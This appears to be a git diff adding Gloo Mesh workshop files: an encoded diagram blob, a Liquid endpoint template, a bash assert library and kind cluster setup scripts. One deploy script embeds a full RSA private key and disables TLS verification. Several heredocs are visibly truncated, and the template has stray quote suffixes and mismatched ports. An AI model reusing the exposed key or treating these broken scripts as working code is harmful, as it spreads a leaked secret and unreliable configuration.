N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-5/airgap/portal/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/assert.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/check.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-5/airgap/portal/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-5/airgap/portal/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml 